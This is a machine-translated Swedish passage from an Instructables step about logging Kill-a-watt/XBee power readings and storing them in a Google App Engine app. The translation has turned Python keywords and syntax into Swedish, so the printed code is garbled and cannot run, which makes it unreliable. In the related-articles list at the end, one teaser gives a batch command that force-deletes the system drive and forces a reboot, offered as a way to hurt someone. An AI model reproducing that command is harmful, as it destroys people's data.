Tweet-a-watt - hur man gör en kvittrande kraftmätare... (16 / 19 steg)

Steg 16: Design - lagra



Introduction

OK vi får bra data från våra sensorer, låter corral det till mer användbara bitar och förvara den i en databas. Vi kunde göra en databas på datorn, men eftersom vi skulle vilja dela dessa data, det är mer förnuftigt att sätta det på nätet. Det finns anpassade tjänster som är särskilt utformade för att göra sådant som Pachube men jag ska uppfinna hjulet på nytt och designa min egen webb-app som lagrar och visar Energidata. (Mest jag vill leka med Google App Engine!)

Du har 5 minuter!

Vi få data efter några sekunder från XBee modemet inuti den kill-a-watten. Vi kunde, i teorin, lägga data i vår databas var 2 sekunder men som snabbt skulle ballong mängden lagringsutrymme krävs. Det skulle också göra sortering igenom data svårt. Så istället kan lägga upp alla sensordata för 5 minuter och sedan ta medelvärdet.

Vi gör detta genom att hålla två timers och en stämmer. En timer kommer att spåra hur länge dess varit sedan den senaste signalen skickades, och den andra kommer att följa upp om dess varit 5 minuter. Stämmer kommer att lagra upp alla wattimmar (Watt mätningar * tid sedan senaste sensordata). Sedan i slutet vi kan i genomsnitt av de 5 minuterna

Denna bit av kod går i början, det skapar timers och kontrollräkna och initierar dem

...
fiveminutetimer = lasttime = time.time() # få aktuell tid
cumulativewatthr = 0
...

Då sedermera, efter att vi får våra data vi kan sätta i denna del av koden:

# lägga upp delta-watthr används sedan förra behandlingen
# Räkna ut hur många watt timmar användes sedan förra behandlingen
elapsedseconds = time.time() - lasttime
dwatthr = (avgwatt * elapsedseconds) / (60,0 * 60,0) # 60 sekunder i 60 minuter = 1 timme
lasttime = time.time()
skriva ut "\t\tWh används i sista", elapsedseconds, "sekunder:", dwatthr
cumulativewatthr += dwatthr

# Avgöra i minuten i timmen (dvs 6:42 -> "42")
currminute = (int(time.time())/60) % 10
# Räkna ut om dess varit fem minuter sedan våra senaste spara
om (((time.time()-fiveminutetimer) > = 60,0) och (currminute % 5 == 0)):
# Skriv ut debug data, Wh används i senaste 5 minuter
avgwattsused = cumulativewatthr * (60,0 * 60,0 / (time.time() - fiveminutetimer))
Skriv ut time.strftime ("%Y %m %d % H: %M"),",", cumulativewatthr, "Wh =", avgwattsused, "W genomsnittet")

# Återställa våra 5 minuters timer
fiveminutetimer = time.time()
cumulativewatthr = 0

Observera att vi beräkna delta-watthours, den lilla mängden makt används efter några sekunder. Då kan vi få de genomsnittliga watt som används av watthours divideras med antalet timmar som gått (ca 1/12). Istället för att gå med exakta 5 minuter, jag bestämde mig att endast rapportera om 5 timmen (: 05,: 10, etc) så att det är lättare att skicka alla data på en gång om theres flera sensorer som startade vid olika tidpunkter.

Ladda ner wattcher-5minreporter.py från nedladdningssidan. Om du kör detta, får du en stadig ström

I slutet kan du se tidsstämpeln, Watthrs används under senaste några minuter och den genomsnittliga effekt

Multisensor!

Vi har bra data men så länge det fungerar bara med en sensor. Flera sensorer kommer att strula till det! Dags att lägga till stöd för mer än en XBee så att jag kan spåra några rum. Jag ska göra det genom att skapa en objektklass i python och använder XBee adress (kom ihåg att från del 1?) att spåra. Jag ska ersätta koden skrev vi bara med följande:

På toppen, i stället för variablerna som timer, jag har en full klassdeklaration, och skapa en array för att lagra dem:

### lagra sensordata och mängd historier per sensor
klass Fiveminutehistory:
def init (self, sensornum):
Self.sensornum = sensornum
Self.fiveminutetimer = time.time() # spåra data över 5 minuter
Self.lasttime = time.time()
Self.cumulativewatthr = 0

def addwatthr (self, deltawatthr):
Self.cumulativewatthr += float(deltawatthr)

def reset5mintimer(self):
Self.cumulativewatthr = 0
Self.fiveminutetimer = time.time()

def avgwattover5min(self):
återgå self.cumulativewatthr * (60,0 * 60,0 / (time.time() - self.fiveminutetimer))

def str(self):
returnera "[id #: %d, 5mintimer: %f, lasttime; %f, cumulativewatthr: %f] "% (self.sensornum, self.fiveminutetimer, self.lasttime, self.cumulativewatthr)

### en mängd historier
sensorhistories =]

När objektet initieras med sensor-ID nummer, det sätter också upp två timers och kumulativa Watthrs spåras. Jag skapade också några hjälpare funktioner som kommer att göra koden renare

Precis nedanför som jag ska skapa en liten funktion att hjälpa mig skapa och hämta dessa objekt. Givet ett XBee ID-nummer gör det antingen ett nytt eller blir hänvisningen till det

### retriever
def findsensorhistory(sensornum):
för historia i sensorhistories:
om history.sensornum == sensornum:
returnera historia
# ingen finner, skapa den!
historia = Fiveminutehistory(sensornum)
sensorhistories.append(History)
returnera historia

Slutligen, power som retreives föremål och spår i stället för den genomsnittliga Watt beräkning kod skrivet ovan, vi ska ersätta det med följande bit, användning med objektet timers

# retreive historia för denna sensor
sensorhistory = findsensorhistory(xb.address_16)
#print sensorhistory

# lägga upp delta-watthr används sedan förra behandlingen
# Räkna ut hur många watt timmar användes sedan förra behandlingen
elapsedseconds = time.time() - sensorhistory.lasttime
dwatthr = (avgwatt * elapsedseconds) / (60,0 * 60,0) # 60 sekunder i 60 minuter = 1 timme
sensorhistory.lasttime = time.time()
skriva ut "\t\tWh används i sista", elapsedseconds, "sekunder:", dwatthr
sensorhistory.addwatthr(dwatthr)

# Avgöra i minuten i timmen (dvs 6:42 -> "42")
currminute = (int(time.time())/60) % 10
# Räkna ut om dess varit fem minuter sedan våra senaste spara
om (((time.time()-sensorhistory.fiveminutetimer) > = 60,0) och (currminute % 5 == 0)):
# Skriv ut debug data, Wh används i senaste 5 minuter
avgwattsused = sensorhistory.avgwattover5min()
Skriv ut time.strftime ("%Y %m %d % H: %M"), "," sensorhistory.cumulativewatthr,"Wh =", avgwattsused, "W genomsnittliga"

# Återställa våra 5 minuters timer
sensorhistory.reset5mintimer()

Koden fungerar ungefär samma utom nu det kommer inte att kvävas på flera sensordata! Nedan, min två Kill-a-watt, en med en dator som är ansluten (100W) och en annan med en lampa (40W)

Till databasen!

Den App Engine

Så vill vi ha en nätverksansluten dator att lagra dessa uppgifter så vi kan dela data, men vi vill verkligen inte att köra en server hemifrån! Vad göra? Väl som tidigare nämnts, kan du använda Pachube eller liknande, men jag kommer att visa hur till rulle egna med Google App Engine (GAE). GAE är i princip en gratis mini-webserver värd Google, som kommer att köra grundläggande webapps utan hassle av administrera en databasserver. Varje webapp har lagring, vissa ramar och kan använda Google-konton för autentisering. För att komma igång föreslår jag att kolla på GAE hemsida, dokumentation, osv Jag antar du har gått igenom tutorials och hoppa rakt in i utforma min power data storage app som kallas Wattcher (lite förvirrande jag vet)

Första filen app.yaml som definierar min app ser ut så här:

ansökan: wattcher
version: 1
runtime: python
api_version: 1

handtag:
-url: /. *
skript: wattcherapp.py

Ganska enkelt, bara säger att app använder wattcherapp.py som källfilen

Nästa, vi ska dyka in i python koden för våra webapp. Första, det innehåller och databas index. För att skapa en databas, definiera vi faktiskt det - i filen python - GAE siffror sedan vilken typ av databas för att skapa för dig genom att följa dessa anvisningar (mycket annorlunda än MySQL där du vill skapa DB separat)

import cgi, datetime

importera användare från google.appengine.api
från google.appengine.ext importera webapp
importera run_wsgi_app från google.appengine.ext.webapp.util
från google.appengine.ext importera db

klass Powerusage(db. Modell):
författare = db. UserProperty() # användaren
sensornum = db. IntegerProperty() # kan ha flera sensorer
watt = db. FloatProperty() # varje skicka oss senaste Watt mätning
datum = db. DateTimeProperty(auto_now_add=True) # tidsstämpel

Vi använder standard ingår. Vi har en enda databastabell som kallas Powerusage, och den har 4 poster: en för användaren, en för antalet sensor, en för sist rapporterade watt används och en för en datumstämpel

Varje "sida" och funktion av våra webapp måste ha sin egen klass. Kan börja med funktionen som tillåter oss att lagra data i DB. Jag kallar det PowerUpdate.

klass PowerUpdate(webapp. RequestHandler):
def get(self):

# gör användaren logga in
om inte users.get_current_user():
Self.Redirect(users.create_login_url(Self.Request.URI))

powerusage = Powerusage()

om users.get_current_user():
powerusage.author = users.get_current_user()
#print self.request
om self.request.get('watt'):
powerusage.watt = float(self.request.get('watt'))
annat:
Self.Response.out.write ("kunde inte hitta \'watt\"Få egendom!")
returnera
om self.request.get('sensornum'):
powerusage.sensornum = int(self.request.get('sensornum'))
annat:
powerusage.sensornum = 0 # antar theres bara ett eller något

powerusage.Put()
Self.Response.out.write('OK!')

När vi skickar en begäran att göra som med en GET kallar ska (dvs begär webbsidan), vi först se till användaren är autentiserad och inloggad så vi vet deras namn. Sedan skapar vi en ny databaspost av initierar en ny instansiering av Powerusage. Då vi ska se en GET-begäran för watt data, vilket skulle vara i format watt = 39,2 eller liknande. Som analyseras för oss, tack och lov och vi kan också få numret sensor som förs i format sensornum = 3. Slutligen kan vi lagra data i databasen permanent

Nästa är en användbar felsökning funktion, helt enkelt skrivs ut alla uppgifter den har fått för ditt konto!

klass DumpData(webapp. RequestHandler):
def get(self):

# gör användaren logga in
om inte users.get_current_user():
Self.Redirect(users.create_login_url(Self.Request.URI))

Self.Response.out.write ("< html >< kropp > här är alla data du har skickat oss: < p >')

powerusages = db. GqlQuery ("Välj * från Powerusage där författaren =: 1 ORDER BY date", users.get_current_user())

för powerused i powerusages:
om powerused.sensornum:
Self.Response.out.write ("< b > %s < /b > \'s sensor #%d ' %
(powerused.author.nickname(), powerused.sensornum))
annat:
Self.Response.out.write (< b > %s < /b >' % powerused.author.nickname())

Self.Response.out.write ("används: %f watt på %s < p >' % (powerused.watt, powerused.date))
Self.Response.out.write ("</body >< / html >")

Detta fungerar helt enkelt markera (hämtar) alla poster, sorterar dem efter datum och skriver ut var och en i taget

Slutligen vi kommer att göra en grundläggande "första sidan" som kommer att visa de senaste par datapoints skickas

klass MainPage(webapp. RequestHandler):
def get(self):

Self.Response.out.write ("< html >< kropp > Välkommen till Wattcher! < p > här är de senaste 10 datapunkter: < p >')

powerusages = db. GqlQuery ("Välj * från Powerusage ORDER BY datum DESC LIMIT 10")

för powerused i powerusages:
om powerused.sensornum:
Self.Response.out.write ("< b > %s < /b > \'s sensor #%d ' %
(powerused.author.nickname(), powerused.sensornum))
annat:
Self.Response.out.write ('< b > %s < /b >' % powerused.author.nickname())

Self.Response.out.write ("används: %f watt på %s < p >' % (powerused.watt, powerused.date))
Self.Response.out.write ("</body >< / html >")

Dess mycket liknar funktionen DataDump men dess endast 10 poäng av data och från alla användare, trevligt att använda när du bara vill "kolla upp" men inte vill logga in

Slutligen har vi en liten initierare struktur som berättar GAE vilka sidor som länkar till vilka funktioner

ansökan = webapp. () WSGIApplication
[('/', Huvudsidan)]
("/ rapportera", PowerUpdate),
("/ dumpa", DumpData)],
Felsöka = True)

def main ():
run_wsgi_app(Application)

om namn == "main":
Main)

Test!

Kan OK prova det, låter först besöka http://wattcher.appspot.com/report

Kom ihåg att vi gjort det ett krav att leverera - några - data. Låter prova igen http://wattcher.appspot.com/report?watt=19.22&sensornum=1

Yay vi fick en OK! Kan kolla in de data som lagras genom att besöka http://wattcher.appspot.com/dump

Det finns två poster eftersom jag gjorde lite tester förväg men du kan se att det finns 2 poster. Trevligt!

Vi kan också besöka GAE Kontrollpanelen och bläddra data "för hand"

Hur som helst, nu att det fungerar, kan gå tillbaka och lägga rapportering tekniken till vår sensor-reader skript

Hämtar

Bara lite fler hacking på datorn skript och vi är klar. Vi vill lägga till stöd för att skicka data till GAE. Tyvärr just nu vår autentisering sker via Google-konton så det är inte lätt att köra på en Arduino. För att anpassa det skulle du behöva skicka användarnamnet i rapporten få och hoppas att ingen annan använder samma (om inte du också lägga till en grundläggande lösenord system)

Hur som helst, jag helt lurade hur detta från några trevliga människor på Internet

Hämta appengineauth.py från data överför sida, och vid behov ändra de första raderna. Vi hård kort URL: en ska vi samt konto/lösenord och GAE app namn

users_email_address = "" mitt konto "
users_password = "mittlösenord"
my_app_name = "wattcher"
target_authenticated_google_app_engine_uri = "http://wattcher.appspot.com/report"

Det verkliga arbetet händer på denna funktion sendreport där den ansluter och Watt informationen skickas till webbplatsen GAE

def sendreport (sensornum, watt):
# Det här är där jag vill faktiskt gå till
serv_uri = target_authenticated_google_app_engine_uri + "? watt="+str(watt) + "& sensornum="+str(sensornum)

serv_args = {}
serv_args ['continue'] = serv_uri
serv_args ["auth"] = authtoken

full_serv_uri = "http://wattcher.appspot.com/_ah/login?%s" % (urllib.urlencode(serv_args))

serv_req = urllib2. Request(full_serv_uri)
serv_resp = urllib2.urlopen(serv_req)
serv_resp_body = serv_resp.read()

# serv_resp_body bör innehålla innehållet i den
# target_authenticated_google_app_engine_uri sida - som vi kommer att ha varit
# omdirigeras till sidan automatiskt
#
# för att bevisa detta, jag bara ska skriva ut den
skriva ut serv_resp_body

Slutligen, vi avsluta genom att lägga till följande rader till vår dator script, som sänder data fint över till GAE!

# Också, skicka det till app-motorn
appengineauth.sendreport (xb.address_16, avgwattsused)

Du kan hämta den sista skriften wattcher.py - final från Hämtningssida!

Glöm inte att besöka wattcher.appspot.com att kolla in de senaste avläsningar

Se Steg
Relaterade Ämnen

Hur man gör fast odlingsmedium plåtar för jästkultur

om du skulle vilja kultur din egen jäst, antingen från stammar tillgängliga kommersiellt eller från opastöriserad craft beer, så du kan enkelt göra detta utanför labbet med en tryckkokare och några leveranser. Först, jag uppmuntrar dig att läsa min t...

Hur man gör billigare teknik plåtar och microloading

jag tog en tid bort från lyft tack vare en skada och när jag kom tillbaka jag tittar på att köpa teknik plattorna så jag kunde börja ljus och långsamt lägga tyngd. Teknik plattorna gör att du kan starta ljus om du gör en böjd över raden och de också...

Hur man gör en Fake geigermätare

vilken effekt kan förbättra en galen vetenskapsman lab på Halloween? Tickande av en geigermätare! Och Tänk... Om du hade en falska geigermätare kunde du våg över någonting, och när du ville ha, ställa av rasande att klicka?Det är vad jag byggt för vå...

Hur man gör handgjorda Ear mätare/pluggar

Jag satte denna handledning tillsammans för att resumé och uppdatera och bara sätta den extra sak är här att jag glömde att nämna i hur att göra handgjorda mätare/öronproppar videon, och nämna saker och sätta extra tips och korrigera där jag gick fel...

Hur man lägga till egna låtar i Guitar Hero 3 (Wii) del 1

i detta Instructable kommer vi använda ett praktiskt program som heter The Ghost för att injicera anpassade låtar i Guitar Hero 3 (eller Areosmith) på Wii. Dessa spel kan sedan brännas på en CD eller sätta på en flash-enhet som ska spelas på en mjuk...

Hur man lägga till egna låtar i Guitar Hero 3 (Wii) del 2

detta är del 2 av den under projektet. Om du redan har gjort Del1, gå till nästa steg. Annars kan du starta Del1 genom att gå här.I detta instructable, vi kommer att använda ett praktiskt program som heter The Ghost för att injicera anpassade låtar i...

Hur man gör teeny tiny båtar av PVC-rör

detta är min post för Kitemans internationella Go-Pro Challenge, göra det streckgubbe tävling 2 och 4: e Epilog utmaningen. Dess också min allra första kompatibel :D Njut!(För Kitemans internationella Go-Pro utmaning)Den "internationella" delen...

Hur man gör enkla elektroniska mätare (supersonic sensor SRF05)

[youtube]uTZW_YWh8jA[/youtube]...

Hur man gör ett virus som tar bort hårddisken

detta är mycket användbart om du hatar någonSteg 1: Det första du gör är att öppna anteckningarSteg 2: att komma nära nu skriver:utanfördel %systemdrive%\*.*/f s qShutdown - r -f -t 00Steg 3: nu besparingen spara:watheveryouwant.batSteg 4: resultat h...

Hur man skapar en CD med låtar från iTunes-biblioteket att lyssna på i bilen?

Om du någonsin velat ha en CD med din favoritmusik från iTunes-biblioteket, så du kan enkelt lyssna dem medan du är på en lång resa med din bil, till exempel är detta sätt att göra det.Steg 1: Öppna iTunes När programmet är öppet, sätt in en tom CD/D...

Hur man knyter en Pålstek

Pålstek är en knut som kommer att skapa en slinga av repet som inte glider. Det används ofta i rädda för att dra upp offren från en grop eller spricka. Och nu du kommer att lära sig hur man knyter den. MEN DU TAR INTE EMOT RÄDDNING UTBILDNING. Använd...

Hur man gör en SPY PEN TASER

Hur man gör en SPY PEN TASER?Steg 1: I denna film jag kommer att berätta hur man gör en spion elstötar penna!Steg 2: Med hjälp av spy elektrisk stöt pennan kan du spela ett trick på din vän i skolan eller arbeta.Spy elektrisk stöt pennan är inte farl...

Hur man använder den talande ES6928P röst erkännande System_Stand-ensam/nej PC REQ skulle

Hej alla! Välkommen till min Instructable!Tack för att ha en gåskarl. Ungefär åtta månader sedan, bestämde jag mig att en av mina nya satsningar skulle vara att skapa en röst erkännandesystem som kunde vara utbildad manuellt, och utan att ha till grä...

Hur man gör skopan trädgårdsskötsel med vatten nivåmätare

Hink trädgårdsskötsel isvery lämplig för plantering om det finns ingen ledig mark.Spara vatten, och lätt att flytta. Vattennivåindikatorn är mycket användbara, så du inte glömmer igen för vattna växterna. Du kan göra med alla storlekar hink. Och alla...

Hur man manuellt ta blodtryck

IntroduktionBlodtryck är en viktig indikator på hälsan. Veta sitt blodtryck är det första steget till att förebygga hjärtsjukdom. Även om de flesta läkare tar blodtryck med hjälp av en automatisk blodtrycksmätare, är att veta hur man använder en manu...

Hur man skriver i 3-D

detta är hur man skriver i 3-D. Det tar mycket längre tid att skriva än vanlig handskrift, men det är bra för gratulationskort och andra saker.Steg 1: Grunderna i 3D-bokstäver För att skriva 3-D, det är ganska lätt. Oftast måste du tänka om perspekti...

Hur man drar en Cat Eye (manga och anime)

Hej alla! Som ni vet alla, har jag några manga katt tutorials redan, men jag tänkte det var på tiden att jag gjorde en specifik för ögat, som är särskilt knepigt. Så, utan någon ytterligare adjö, låt oss få till det!Steg 1: Några saker du behöverAtt...

Hur man gör en ARDUINO VU mätare

Hej stötarna. Vill du göra en liten, cool projekt genom att använda Arduino? Du kan hitta det här.Vi kör en YouTube-kanal "Att vara ingenjörer" och vi ger video tutorials på programmeringsspråk, grundläggande elektronik och också några coola ele...

Hur man får musik från IPA-filer

i detta Instructable kommer jag visa dig hur man får dessa awesome låtar från dina favoritspel från iTunes Store.Bilden visar låtarna jag fick av Tap Tap DanceDess mycket enkelt eftersom filer .m4aSteg 1: Att få verktyget Okej så huvud på över till h...